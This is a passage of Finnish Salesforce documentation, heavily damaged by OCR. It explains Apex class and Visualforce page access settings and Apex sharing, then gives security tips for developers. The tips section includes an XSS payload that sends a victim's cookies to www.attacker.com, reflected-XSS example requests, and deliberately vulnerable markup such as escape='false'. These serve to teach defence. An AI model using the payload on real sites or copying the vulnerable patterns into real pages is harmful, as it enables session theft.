ovat globaaleja, tai luokille, jotka sisdltdvdt webService-metodeja.

Jos kayttdjilld on Apex-laadintaoikeus, he voivat kdyttda kaikkia asiaan liittyvan organisaation Apex-luokkia riippumatta yksittdisten
luokkien suojausasetuksista.

Apex-luokan kayttdoikeus tarkistetaan vain ylimmalld tasolla. Esimerkki: jos luokka A kutsuu luokkaa B ja kayttajaprofiililla on oikeus vain
luokkaan A, kayttdja voi silti suorittaa koodin luokassa A. Vastaavasti, jos Visualforce-sivu kayttdd mukautettua komponenttia ja siihen
liittyvda ohjainta, vain sivuun liittyvdn ohjaimen suojaus tarkistetaan. Mukautettuun komponenttiin liittyva ohjain suoritetaan
kdyttooikeuksista riippumatta.

Voit maarittdd Apex-luokkien suojauksen seuraavista kohdista:

e Apex-luokkien luettelosivu
e Apex-luokan lisdtietosivu
o Kayttooikeusmaaritykset

e Profiilit

KATSO MYOS:
Suojausvihjeitd Apex- ja Visualforce-kehittdmiseen

Apex Developer Guide

Apex-luokan kdyttdoikeuden mddrittdminen luokkien luettelosivulta

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Apex-luokat javalitse Apex-luokat. EDITION-VERSIOT

2. Valitse Suojaus sen luokan nimen vierestd, jonka kdyttdoikeutta haluat muuttaa.

Kaytettavissa Salesforce
Classicissa ja Lightning
Experiencessa

3. Valitse Kaytettavissa olevat profiilit -luettelosta profiilit, joille haluat antaa kayttdoikeuden, ja
napsauta Lisaa, tai valitse Kdyttoonotetut profiilit -luettelosta profiilit, joiden kdyttdoikeudet
haluat poistaa, ja napsauta Poista.

Kaytettavissa: Enterprise

Edition-, Performance

) Edition-, Unlimited Edition-,

KATSO MYOS: Developer Edition- ja

Apex-luokan kdyttdoikeuden madrittaminen luokkien lisitietosivulta Database.com Edition
-versioissa

4. Napsauta Tallenna.

Apex-luokan kayttdoikeuden asettaminen kdyttdoikeusmadrityksista

Apex-luokkien kayttooikeuksien madrittdminen profiilista

KAYTTJAOIKEUDET

Apex-luokkien suojauksen

ma&drittdminen:

e Apex-laadintaoikeus
JA

Sovelluksen
mukautusoikeus
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Apex-luokan kdyttdoikeuden mddrittdminen luokkien lisGtietosivulta

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Apex-luokat javalitse Apex-luokat.
2. Napsauta rajoitettavan luokan nimea.

3. Napsauta Suojaus.
4

. Valitse Kaytettévissa olevat profiilit -luettelosta profiilit, joille haluat antaa kdyttdoikeuden, ja
napsauta Lisaa, tai valitse Kayttoonotetut profiilit -luettelosta profiilit, joiden kayttdoikeudet
haluat poistaa, ja napsauta Poista.

5. Napsauta Tallenna.

KATSO MYOS:
Apex-luokan kayttdoikeuden madrittaminen luokkien luettelosivulta
Apex-luokan kayttdoikeuden asettaminen kdyttdoikeusmaarityksista

Apex-luokkien kdyttooikeuksien madrittdminen profiilista

Apex-luokan kdyttdoikeuden asettaminen kayttdoikeusmadrityksista

Voit madrittad mitka tavat ovat suoritettavissa kdyttdoikeusmaarityksille yldtason Apex-luokassa.
Nama asetukset koskevat vain Apex-luokkametodeja, esimerkiksi web-palvelumetodeja tai
Visualforce-sivussa kdytetyssa mukautetussa Visualforce-ohjaimessa tai ohjaimen laajennuksessa
kdytettyd metodia. Kdynnistimet kdynnistyvat aina kdynnistintapahtumista (esim. insert tai
update) riippumatta kdyttdoikeusasetuksista.

-

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Lupajoukot ja valitse Lupajoukot.
Valitse kdyttooikeus.

Napsauta Apex-luokkien kayttooikeudet.

Napsauta Muokkaa.

o wnN

Valitse Kdytettdvissd olevat Apex-luokat -luettelosta ne Apex-luokat, jotka haluat ottaa kayttoon
ja napsauta Lisaa, tai valitse Kdyttoonotetut Apex-luokat -luettelosta ne Apex-luokat, jotka
haluat poistaa kdytostd ja napsauta Poista.

6. Napsauta Tallenna.

KATSO MYOS:
Apex-luokan kayttooikeuden madrittaminen luokkien luettelosivulta
Apex-luokan kayttéoikeuden madrittaminen luokkien lisdtietosivulta

Apex-luokkien kdyttooikeuksien madrittdminen profiilista
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Kaytettavissa Salesforce
Classicissa ja Lightning
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KAYTTJAOIKEUDET

Apex-luokkien suojauksen

madrittdminen:

e Apex-laadintaoikeus
JA

Sovelluksen
mukautusoikeus

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kaytettavissd Performance-,
Unlimited-, Developer-,
Enterprise- ja
Database.com-versioissa

KAYTTJAOIKEUDET

Apex-luokkien

kayttooikeusasetusten

muokkaaminen:

e Profillien ja
kayttooikeusjoukkojen
hallintaoikeus
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Apex-luokkien kayttdoikeuksien madrittdminen profiilista
Méaritd, mitkd yldtason Apex-luokan metodit voidaan suorittaa profiilissa.

Nama asetukset koskevat vain Apex-luokkametodeja. Asetukset koskevat esimerkiksi
Web-palvelumetodeja tai mitd tahansa metodia, jota kdytetddn Visualforce-sivun mukautetussa
Visualforce-ohjaimessa tai ohjaimen laajennuksessa. Kdynnistimet kaynnistyvét aina
kdynnistintapahtumista (esim. insert tai update) riippumatta profiiliasetuksista.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Profiilit ja valitse Profiilit.
2. Valitse profiili ja napsauta sen nimea.

3. Napsauta Apex-luokan kayttdoikeus -sivulta tai luettelosta Muokkaa.

4

. Valitse Kaytettdvissa olevat Apex-luokat -luettelosta Apex-luokat, jotka haluat ottaa kdyttoon,
ja napsauta Lisaa. Voit myos valita Kayttodn otetut Apex-luokat -luettelosta Apex-luokkia, joita
haluat poistaa, ja napsauttaa Poista.

5. Napsauta Tallenna.

KATSO MYOS:
Apex-luokan kayttdoikeuden madrittaminen luokkien luettelosivulta
Apex-luokan kayttdoikeuden madrittaminen luokkien lisatietosivulta

Apex-luokan kayttoikeuden asettaminen kdyttdoikeusmadrityksista

Apex-jaon syiden luominen

Kun luot Apex-hallittavaa jakoa, voit luoda yksittdisia mukautettuja objekteja varten Apex-jaon syyt
joista ilmenee, miksi jako on toteutettu. Jaon syyt myds yksinkertaistavat jaettujen tietueiden
paivittdmiseen ja poistamiseen tarvittavaa koodausta, ja voit jakaa tietueen useita kertoja saman
kdyttajan tai ryhman kanssa kdyttdmalla erilaisia Apex-jaon syita.

@ Nofte: Lisétietoja hallittavasta Apex-jaosta on Force.com Apex Code Developer’s Guide-oppaassa.
Salesforce ndyttda Apex-jaon syyt Syy-sarakkeessa, kun mukautetun objektitietueen jakoa
tarkastellaan kayttoliittymdassa. Ndin kdyttdjat ja padkdyttdjat voivat ymmartda jakamisen tarkoituksen.
Ota huomioon seuraavat asiat, kun kaytdt Apex-jaon syita:

e Vain kdyttdjat, joilla on kaikkien tietojen muokkausoikeus, voivat lisdtd tai poistaa jaon, jossa
kdytetadn Apex-jaon syytd, tai muokata sitd.

e Apex-jaon syyn poistaminen poistaa kaikki kyseistd syyta kdyttdvat objektin jaot.

e Voitluoda enintadn 10 Apex-jaon syytd mukautettua objektia kohden.

e Voit luoda Apex-jakosyita kayttamalld Metadata APl:a.

Apex-jaon syyn luominen:

1. Napsauta mukautetun objektin hallinta-asetuksista Uusi Apex-jaon syyt -viiteluettelosta.

2. Anna Apex-jaon syylle otsikko. Otsikko ndytetdan Syy-sarakkeessa, kun tietueen jakamista
tarkastellaan kayttoliittymdssd. Otsikko voidaan myos kdantaa kdannostydkalun avulla.

Apex-, Visualforce- ja Lightning-komponentit

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd Performance-,
Unlimited-, Developer-,
Enterprise- ja
Database.com-versioissa

KAYTTJAOIKEUDET

Profiilien muokkaaminen:

e Profillien ja
kayttooikeusjoukkojen
hallintaoikeus

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kaytettcvissa Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

KAYTTJAOIKEUDET

Apex-jaon syiden luominen:

e "Apex-sovellusten
luominen”

Apex-jaon syiden

tarkasteleminen:

e Asetusten ja
kokoonpanon
tarkasteluoikeus

3. Anna Apex-jaon syylle nimi. Nimea kdytetaan, kun syyhyn viitataan APl:ssa ja Apex:issa. Tdma nimi voi siséltda vain alaviivoja ja
aakkosnumeerisia merkkejd, ja sen on oltava yksilollinen organisaatiossa. Sen taytyy alkaa kirjaimella, se ei saa sisaltda vdleja eika se

saa loppua alaviivaan eika sisaltad kahta perakkaistd alaviivaa.
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4. Valitse Tallenna.

KATSO MYOS:

Hallittavan Apex-jaon uudelleenlaskenta

Hallittavan Apex-jaon uudelleenlaskenta

@ Tarkedd: Kun pakkaat mukautettuja objekteja, huomioi, ettd niihin liittyvat Apex-jaon
uudelleenlaskennat sisaltyvat pakettiin ja saattavat estda paketin asentamisen.

Kehittdjat voivat kirjoittaa Apex-erdluokkia, jotka laskevat Apex-hallittavan jaon uudelleen tietylle
mukautetulle objektille. Voit liittda naitd luokkia mukautettuun objektiin sen lisatietosivulla ja suorittaa
ne, jos lukitusongelma estdd Apex:ia myontdmastd kayttooikeutta kdyttajalle sovelluksessa madritetyn
logiikan mukaisesti. Apex-jaon uudelleenlaskentoja voi hyddyntad myos koodausvirheistd johtuvien
nakyvyysongelmien ratkaisemiseen. Jos kehittaja esimerkiksi korjaa koodausvirheen, joka on estanyt
kayttajid kdyttamasta sellaisia tietueita, joihin heilla pitaisi olla kdyttdoikeus, korjaus saattaa koskea
ainoastaan koodin paivityksen jalkeen luotuja tietueita. Jotta korjaus koskisi varmasti myos paivitysta
edeltdvid tietueita, kehittdja voi suorittaa Apex-jaon uudelleenlaskennan ja nain ulottaa jaon kaikkiin
tietueisiin.

Voit suorittaa Apex-jaon uudelleenlaskennat mukautetun objektin lisatietosivulla. Voit suorittaa ne
myos ohjelmallisesti kdyttamalld Database . executeBatch-menetelmda. Salesforce suorittaa
tietylle mukautetulle objektille madritetyt Apex-uudelleenlaskentaluokat aina, kun mukautetun
objektin organisaationlaajuista jaon oletuskayttoikeustasoa pdivitetdan.

@ Note: Salesforce laskee jaon automaattisesti uudelleen kaikille objektin tietueille, kun sen
organisaationlaajuinen jaon kayttdoikeustaso muuttuu. Uudelleenlaskentaan sisaltyvat
jakosdantojen perusteella mydnnetyt kayttooikeudet. Lisaksi kaikki jakotyypit poistetaan, jos
niiden myéntamd kdyttooikeus kdy tarpeettomasti. Esimerkiksi vain luku -oikeudet kayttajalle
mydntdva manuaalinen jako poistetaan, kun objektin jakomalli muutetaan yksityisestd julkiseksi
vain luku -oikeudeksi.

Lisdtietoja hallittavan Apex-jaon luomisesta ja uudelleenlaskentaluokista on Force.com Apex Code
Developer's Guide -oppaassa.

Apex-hallittavan jaon uudelleenlaskentaluokan liittdminen mukautettuun objektiin:

1. Siirry mukautetun objektin hallinta-asetuksissa Apex-jaon uudelleenlaskenta -osioon.

Apex-, Visualforce- ja Lightning-komponentit

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa

Kaytettcvissa Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

KAYTTJAOIKEUDET

Apex-hallittavan jaon

uudelleenlaskentaluokan

littdminen:

e "Apex-sovellusten
luominen”

Apex-hallittavan jaon
uudelleenlaskennan
suorittaminen:

e Apex-laadintaoikeus
TAl

Jakamisen
hallintaoikeus

2. Valitse se Apex-luokka, joka laskee kyseisen objektin Apex-jaon uudelleen. Valitsemasi luokan on kéytettdvd
Database.Batchable-rajapintaa. Et voi liittdd samaa Apex-luokkaa monta kertaa samaan mukautettuun objektiin.

3. Valitse Tallenna.

Jos haluat suorittaa Apex-jaon uudelleenlaskennan, siirry mukautetun objektin hallinta-asetusten Apex-jaon uudelleenlaskenta -osioon

ja napsauta Uusi.

Ota huomioon seuraavat seikat, kun kdytdt Apex-jaon uudelleenlaskentoja.

e Apex-koodi, joka laajentaa jaon uudelleenlaskentaa, voi kasitelld enintdan viisi miljoonaa tietuetta. Jos tdma Apex-koodi vaikuttaa

yli viiteen miljoonaan tietueeseen, tyd epdonnistuu valittdmasti.
e Voit seurata Apex-jaon uudelleenlaskennan tilaa Apex-tdiden jonossa.

e Voit liittdd yhteen mukautettuun objektiin enintdan viisi Apex-jaon uudelleenlaskentaa.
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e Apex-jaon uudelleenlaskentoja ei voi liittad vakio-objekteihin.

KATSO MYOS:

Apex-jaon syiden luominen
Visualforce-suojaus

Visualforce-sivun suojaus

Voit madrittad kayttdjille oikeuden suorittaa tietyn Visualforce-sivun heiddn profiiliensa tai niiden EDITION-VERSIOT

kayttooikeusjoukkojen perusteella.

Visualforce-sivun kdyttooikeus tarkistetaan vain ylimmalld tasolla. Kun kdyttéjat voivat kdyttad sivua, Kaytettavissa Salesforce

he voivat suorittaa kaikkia siihen liittyvid Apex-koodit. Esimerkkeja: Classicissa ja Lightning
Experiencessa

e Sivun ohjain ja kaikki Apex-luokat, jotka kutsutaan ohjainluokasta.
e Kaikki sivun laajennusluokat ja kaikki laajennuksesta kutsutut Apex-koodit. Kdytettdvissd: Contact
Manager Edition-, Group

e Kaikki sivulla oleviin mukautettuihin komponentteihin liittyvat Apex-luokat. " .
P y P Edition-, Professional

e Kaikki sivuun liittyvat luokat apex: include- tai apex: composition-tunnisteiden Edition-, Enterprise Edition-,
kdyton yhteydessa Performance Edition-,

Esimerkki: Jos sivu A on riippuvainen ohjaimesta, joka kutsuu Apex-luokkaa B, ja kdyttajalla on oikeus Unlimited Edition- ja

vain sivuun A, mutta ei luokkaan B, kayttaja voi silti suorittaa koodin luokassa A. Vastaavasti, jos ?/Z::it,igseg Edition

Visualforce-sivu kdyttad mukautettua komponenttia ja siihen liittyvdd ohjainta, vain sivuun liittyvan
ohjaimen suojaus tarkistetaan, mutta komponenttiin liittyvan ohjaimen suojausta ej tarkisteta.

Voit madrittad Visualforce-sivun suojauksen seuraavista kohdista:

e Visualforce-sivun madritelmd

e Kayttooikeusmadaritykset

e Profiilit

Jos kdyttajalld on sovellusten mukautusoikeus, hdnelld on kayttéoikeus kaikkiin kyseisen organisaation Visualforce-sivuihin. Kayttdjalla

voi kuitenkin olla Apex-luokkiin liittyvid rajoituksia. Sovellusten mukautusoikeus ei kuitenkaan salli kdyttdjien ohittaa kyseisid rajoituksia
Visualforce-sivulla, ellei heilld ole Visualforce-sivujen kdyttdoikeutta.

Jotta sivuun voi sisdllyttaa Apex-sisaltdd, kdyttdjilla on oltava Apex-sovellusten luomisoikeus tai Apex-luokan kayttdoikeus.

@ Nofe: Organisaatiot, joilla on Force.com-sivustoja tai Asiakasportaaleja, voivat ottaa kayttoon Visualforce-sivuja kohdistamalla ne
kayttajaprofiileihin tai ottamalla ne kayttddn koko sivustolle,

KATSO MYOS:
Suojausvihjeitd Apex- ja Visualforce-kehittdmiseen
https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/
Visualforce-sivun suojauksen maarittdminen sivun maarityksesta
Visualforce-sivujen suojauksen maarittdminen kayttooikeusmaarityksissa

Visualforce-sivujen suojauksen madrittdminen profiileista
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Visualforce-sivun suojauksen madrittdminen sivun madrityksesta

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Visualforce-sivut javalitse EDITION-VERSIOT
Visualforce-sivut.
2. Valitse Suojaus sen sivun nimen vierestd, jonka kdyttdoikeutta haluat rajoittaa. Kaytettavissa Salesforce
Classicissa ja Lightning

3. Valitse Kaytettavissa olevat profiilit -luettelosta profiilit, joille haluat antaa kdyttdoikeuden, ja .

. s Experiencessa

valitse Lisaa.

Kdaytettavissd: Contact

Manager Edition-, Group

Edition-, Professional

5. Napsauta Tallenna. Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

4. Valitse Kdytossa olevat profiilit -luettelosta profiilit, joiden kayttdoikeuden haluat poistaa, ja
valitse Poista.

KAYTTJAOIKEUDET

Visualforce-sivun
suojauksen mddrittely:

e Profillien ja
kayttooikeusjoukkojen
hallintaoikeus
JA

Sovelluksen
mukautusoikeus
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Visualforce-sivujen suojauksen madrittdminen kdyttéoikeusmadrityksissa

1.

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Lupajoukot ja valitse Lupajoukot.

. Valitse kdyttooikeus.
. Napsauta kohtaa Visualforce-sivujen kayttooikeudet.

2
3
4,
5

Napsauta Muokkaa.

. Valitse Kaytettavissd olevat Visualforce-sivustoluettelosta Visualforce-sivustot, jotka haluat ottaa

kdyttoon ja napsauta Lisaa, tai valitse Kdyttoonotetut Visualforce-sivustoluettelosta
Visualforce-sivut, jotka haluat poistaa kdytosta ja napsauta Poista.

Napsauta Tallenna.

Visualforce-sivujen suojauksen mddrittdminen profiileista

Maaritd Visualforce-suojaus suoraan profiilista mydntadksesi profiilin kayttdjille maaritetyn
Visualforce-sivun kdyttooikeudet.

1.

b4

Kirjoita Maadritykset-valikon Pikahaku-kenttddn Profiilit ja valitse Profiilit.

2. Napsauta muokattavan profiilin nimed.
3.
4

. Valitse Kdytettavissa olevat Visualforce-sivut -luettelosta Visualforce-sivut, jotka haluat lisatd, ja

Siirry Visualforce-sivun suojaus -sivulle tai asiaan liittyvddn luetteloon ja napsauta Muokkaa.
napsauta Lisaa. Voit my6s valita Kdyttoon otetut Visualforce-sivut -luettelosta Visualforce-sivuja,

joita haluat poistaa, ja napsauttaa Poista.

Napsauta Tallenna.
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EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kéayttooikeusjoukot ovat
kaytettavissa: Contact
Manager Edition-,
Professional Edition-,
Group Edition-, Enterprise
Edition-, Performance
Edition- Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Visualforce-sivujen

kayttooikeusasetusten

muokkaaminen:

e Profillien ja
kayttooikeusjoukkojen
hallintaoikeus

EDITION-VERSIOT

Kéytettavissd Salesforce
Classicissa ja Lightning
Experiencessa

Kdaytettdvissd: Contact
Manager Edition-, Group
Edition-, Professional
Edition-, Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja
Developer Edition
-versioissa

KAYTTJAOIKEUDET

Visualforce-sivun

suojauksen mddrittely:

e Profillien ja
kayttooikeusjoukkojen
hallintacikeus
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Suojausvihieité Apex- ja Visualforce-kehittdmiseen

Tutustu uhkakuviin ja suojaudu niiltd, kun kehitat mukautettuja sovelluksia. EDITION-VERSIOT

Suojauksen ymmdartdminen Kaytettavissd: Salesforce
o - o NP . Classicissa

Apex-ja Visualforce-sivujen vahvan yhdistelman avulla Force.com-kehittdjdt voivat tarjota

mukautettua toiminnallisuutta ja liiketoimintalogiikkaa Salesforceen tai luoda kokonaan uuden, KdaytettGvissd Group-,

erillisen tuotteen, joka toimii Force.com-kdyttdymparistdssa. Kuten kaikkien ohjelmointikielten Professional-, Enterprise-,

kanssa, kehittajien téytyy olla tietoisia mahdollisista turvallisuusriskeista. Performance-, Unlimited-,

Developer- ja

Salesforce on yhdistanyt useita suojauskeinoja Force.com-kdyttoymparistéon. Tasta huolimatta Database.com -versioissa

huolimattomat sovelluskehittdjat voivat ohittaa sisadnrakennetut suojaukset ja altistaa sovelluksensa
ja asiakkaansa turvallisuusriskeille. Monet koodausvirheet, joita ohjelmoija voi tehda
Force.com-kdyttdympadristdssa ovat samanlaisia kuin yleiset Web-sovellusten suojausta heikentdvat
virheet, kun taas jotkut ovat ominaisia Apex-koodille.

Visualforce ei ole
kayteftdvissd
Database.com-versiossa.

Jotta sovellus voidaan vahvistaa AppExchange:a varten, on tarkedd, ettd sovelluskehittdjat ymmartdvat
tassd kuvatut suojausvirheet. Lisdtietoja on Force.com Security Resources -sivulla Salesforce
Developers -sivuston osoitteessa https://developer.salesforce.com/page/Security.

Sivustojenvdlinen komentosarjahyokkdys (XSS)

Sivustojenvaliset komentosarjahyokkaykset (XSS) ovat joukko hyokkayksid, jossa vahingollinen HTML tai asiakkaan komentosarja tarjotaan
Web-sovellukselle. Web-sovellus sisédllyttad haitallisen komentosarjan vastauksessa Web-sovelluksen kdyttajdlle. Kdyttdjasta tulee
tietdmattdan hyokkdyksen uhri. Hyokkadja on kayttanyt Web-sovellusta hydkkéyksen rajapintana ja hyddyntdnyt uhrin luottamusta
web-sovellukseen. Suurin osa web-sovelluksista, jotka ndyttavdt dynaamisia Web-sivuja vahvistamatta tietoja kunnolla, ovat todennakdisesti
haavoittuvia. Hydkkadykset web-sivuille ovat erittain helppoja, mikdli yhden kdyttdjan syottamd tieto on tarkoitettu ndytettavaksi toiselle
kayttdjdlle. Joitakin ilmiselvid mahdollisuuksia ovat ilmoitustaulu tai kdyttajan huomautus -tyyliset web-sivustot, uutiset tai sahkdpostiarkistot.

Oletetaan esimerkiksi, ettd seuraava komentosarja sisaltyy Force.com-sivuun, joka kdyttad komentosarjakomponenttia on* tapaukselle
tai jopa Visualforce-sivulle.

<script>var foo = '{!S$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

Tamd komentosarjalohko lisad kdyttajan antaman arvon userparam sivulle. Hydkkadja voi sitten sydttad seuraavan arvon userparam:
1';document.location="http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;vars20foo="2

Tdssa tapauksessa kaikki nykyisen sivun evdsteet ldhetetddn osoitteeseen www . attacker . com, kuten kyselyn kyselymerkkisarja
cookie.cgi-komentosarjalle. Tassa kohdassa hydkkadjalld on uhrin istunnon evaste, ja tdmd voi ottaa yhteyden web-sovellukseen
ikaan kuin olisi uhri.

Hyokkadja voi postittaa vahingollisen komentosarjan kayttamalla verkkosivustoa tai sahkodpostia. Web-sovelluksen kdyttdjat eivat ainoastaan
nde hyokkadjan syottdmaa tietoa, vaan heidan selaimensa voi suorittaa komentosarjaa luotetusta yhteydesta. Hyokkdajd voi ndin hyokata
monella eri tavalla uhria vastaan. Namd vaihtelevat yksinkertaisista toiminnoista, kuten ikkunoiden avaaminen ja sulkeminen, haitallisimpiin
hyokkayksiin, kuten tietojen tai istunnon evdsteiden varastaminen, joiden avulla hyodkkadjalla on uhrin istuntoon taysi kayttooikeus.

Lisdtietoja hyokkddmisestd on seuraavissa kohdissa:

e http://www.owasp.org/index.php/Cross_Site_Scripting

e http://www.cgisecurity.com/xss-fag.html

e http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

e http://www.google.com/search?q=cross-site+scripting
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Force.com-kdyttdymparistdssa on useita XSS-vastaisia suojaustoimintoja kaytdssa. Salesforce on esimerkiksi ottanut kdyttdon suodattimet,
jotka suodattavat haitalliset merkit suurimmasta osasta tulostustapoja. XSS-virheiden uhkia on lievennetty huomattavasti kehittdjille,
jotka kayttavdt vakioluokkia tai tulostustapoja. Luova kehittdjd voi tdstd huolimatta [dytad tapoja, joilla tarkoituksellisesti tai vahingollisesti
ohittaa oletusohjaimet. Seuraavassa osioissa kuvataan, missa suojaukset ovat olemassa ja missd ne eivat ole.

Olemassa oleva suojaus

Kaikilla Visualforce-vakiokomponenteilla, jotka alkavat tunnisteella <apex>, on XSS-vastainen suodatin kdytssa. Seuraava koodi on
esimerkiksi normaalisti haavoittuvainen XSS-hydkkaykselle, koska se vie kdyttdjan syottamaa tietoa ja tuo sen valittdmasti takaisin
kayttajalle, mutta tunniste <apex:outputText> on X5S-suojattu. Kaikki HTML-tunnisteissa olevat merkit muunnetaan literaaliin
muotoon. < merkki esimerkiksi muunnetaan muotoon &1t ;, niin ettd literaali < nakyy kdyttdjan kuvaruudulla.

<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Lopetusmerkkien ottaminen pois kdytosta Visualforce-tunnisteissa

Melkein kaikki Visualforce-tunnisteet ohittavat oletusarvoisesti XSS-haavoittuvaiset merkit. On mahdollista ottaa tdma toiminto pois
kdytosta maarittamalla vaihtoehtoinen madrite escape="false".Esimerkiksi seuraava esitystapa on haavoittuvainen XSS-hyokkayksille:

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Niiden kohteiden ohjelmointi, jotka eivat ole XSS-suojattuja

Seuraavilla kohteilla ei ole sisddnrakennettua XSS-suojausta ja ndiden tunnisteiden ja objektien kayttamisessa tulee noudattaa erityistd
huolellisuutta. Tdmd siksi, etta ndiden kohteiden tarkoitus on antaa kehittajalle mahdollisuus mukauttaa sivua lisdamalld komentosarjoja.
Ei ole jarkevda sisallyttad XSS-vastaisia suodattimia komentoihin, jotka on tarkoituksellisesti lisatty sivulle.

Mukautettu JavaScript

Jos kirjoitat omaa JavaScriptid, Force.com-kdyttdymparistlld ei ole tapaa suojata sinua. Seuraava koodi on esimerkiksi haavoittuvainen
XSS:lle, jos sitd kdytetdan JavaScriptissa:

<script>
var foo = location.search;
document.write (foo) ;
</script>

<apex:includeScript>
Visualforce-komponentin <apex : includeScript> avullavoit sisdllyttdd mukautetun komentosarjan sivulle. Ndissa tapauksissa
on huolellisesti varmistuttava siitd, ettd sisdltd on turvallista eikd sisdlld kayttdjan antamaa tietoa. Seuraava koodikatkelma on esimerkiksi
erittdin haavoittuvainen, koska se sisaltaa kdyttdjan syottdmaa tietoa komentosarjan tekstind. Tunnisteen tarjoama tieto on URL, joka
sisdllytetaan JavaScriptiin. Jos hyokkadja pystyy syottamadan satunnaista tietoa tédhan parametriin (kuten alla olevassa esimerkissa),
tama voi mahdollisesti ohjata uhrin suorittamaan minkd tahansa JavaScript-tiedoston milta tahansa web-sivustolta.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
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Kaavatunnisteet

Yleinen syntaksi ndille tunnisteilleon:{ | FUNCTION () } tai { ! SOBJECT.ATTRIBUTE }.Jos kehittdjd esimerkiksi haluaisi siséllyttad
kayttajan istunnon tunnuksen linkkiin, tdma voisi luoda linkin kdyttdmalla seuraavaa syntaksia:

<a
href="http://partner.domain.com/integration/?sid={!$Api.Session ID}&server={!$Api.Partner Server URL 130}">
Go to portal</a>

Téma hahmontaa samanlaisen syottétiedon kuin seuraava:

<a
href="http://partner.domain.com/integration/?sid=4£0900D30000000Jsbi%21AQ0AONYaPnVyd 6hNdIxXhzQTMaa
S1YiOfRzpM18huTGN3jCOO1FTkbuQRwPc 900JeMRmAh2UYXRNmZ5wZzufIrvdIDEC ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4£0900D30000000Jsbi">Go to portal</a>

Kaavalausekkeet voivat olla funktiokutsuja tai sisaltda tietoja kayttdympdriston objekteista, kayttdjaymparistostd, jarjestelmdympéristosta
ja pyydetysta ymparistostd. Ndiden lausekkeiden tarked ominaisuus on, ettd tietoja ei ohiteta hahmontamisen aikana. Koska lausekkeet
hahmonnetaan palvelimelle, ei ole mahdollista ohittaa hahmonnettuja tietoja asiakassovelluksessa, joka kdyttda JavaScriptid tai muuta
asiakaspuolen teknologiaa. Tasta voi aiheutua mahdollisesti vaarallisia tilanteita, jos kaavalauseke viittaa jarjestelman ulkopuoliseen
tietoon (joka on mahdollisesti uhkaavaa tai muokattavaa tietoa) ja lauseketta ei ole paketoitu funktioon tulostuksen ohittamiseksi
hahmontamisen aikana. Yleinen tietoturvaheikkous aiheutuu, kun kdytetddn { ! SRequest . * }-lauseketta pyyntéparametreissa.

<html>
<head>
<title>{!S$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Valitettavastiilman ohjausmerkkid oleva tunniste { ! SRequest.title} altistaa myds sivustojenvaliselle komentosarjahydkkaykselle.
Esimerkiksi pyynto

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript$3Ealert ('xss') %$3C%2Fscript%3E
antaa tuloksen:

<html><head><title>Adios</title><script>alert ('xss')</script></title></head><body>Hello
world!</body></html>

Vakiomenetelmad palvelinpuolen ohjauksille on kdyttad kaavatunnistetta SUBSTITUTE () . Koska esimerkissd on lauseke
{ ' SRequest. *}, ylld mainittu hydkkdys voitaisiin estdd kdyttdamalld seuraavia sisakkdisid SUBSTITUTE () -kyselyja.

<html>
<head>
<title>{! SUBSTITUTE (SUBSTITUTE ($Request.title,"<","<"),">", ">")}</title>
</head>
<body>Hello world!</body>
</html>

Tunnisteen paikasta ja tietojen kdytdstd riippuen, seka ohjausmerkin vaativat merkit etta ohjausmerkin sisdltamdt vastineet saattavat
vaihdella. Esimerkiksi lauseke:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!S$Request.retURL}";</script>
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vaatii, ettd kaksoislainausmerkit korvataan URL-koodatulla vastineella %22 HTML-lopetusmerkkien sijaan, koska sitd todennakdisesti
kdytetddn linkissd. Muuten pyynto

http://example.com/demo/redirect.html?retURL= foo0%22%3Balert ('xss')$3B%2F%2F
antaa tuloksen
<script>var ret = "foo";alert('xss');//";</script>

Lisdksi muuttuja ret saattaa tarvita ylimadrdisen asiakaspuolen ohjausmerkin sivulla myéhemmin, jos sitd kdytetdan tavalla, joka voi
aiheuttaa, ettd siihen sisdltyvat ohjausmerkit tulkitaan.

Kaavatunnisteita voidaan kdyttad myos sisdllyttdamdan kayttdympadristodn objektin tietoa. Vaikka tiedot otetaan suoraan kdyttdjan
organisaatiosta, ne taytyy silti ohittaa ennen kéyttdd, jotta estetadn kdyttdjid hyvaksymadstd koodia muiden kdyttdjien kontekstissa
(mahdollisesti niiden, joilla on korkeammat kdyttoikeustasot). Vaikka téllaiset hyokkdykset tulevat saman organisaation kayttdjilta, ne
aliarvioivat organisaation kayttajan rooleja ja heikentdvat tarkastustietueiden eheytta. Lisaksi monet organisaatiot sisaltavat tietoja, jotka
on tuotu ulkoisista ldhteistd eikd niitd olet suodatettu haitallisen sisallon varalta.

Cross-Site Request Forgery -haavoittuvuus (CSRF)

Cross-Site Request Forgery -haavoittuvuuden (CSRF) viat eivat niinkddn ole ohjelmointivirheitd vaan puolustuksen puutetta. Helpointa
CSRF-haavoittuvuuden kuvaaminen on yksinkertaisen esimerkin avulla. Hyokkadjalla on web-sivusto osoitteessa www . at tacker . com.
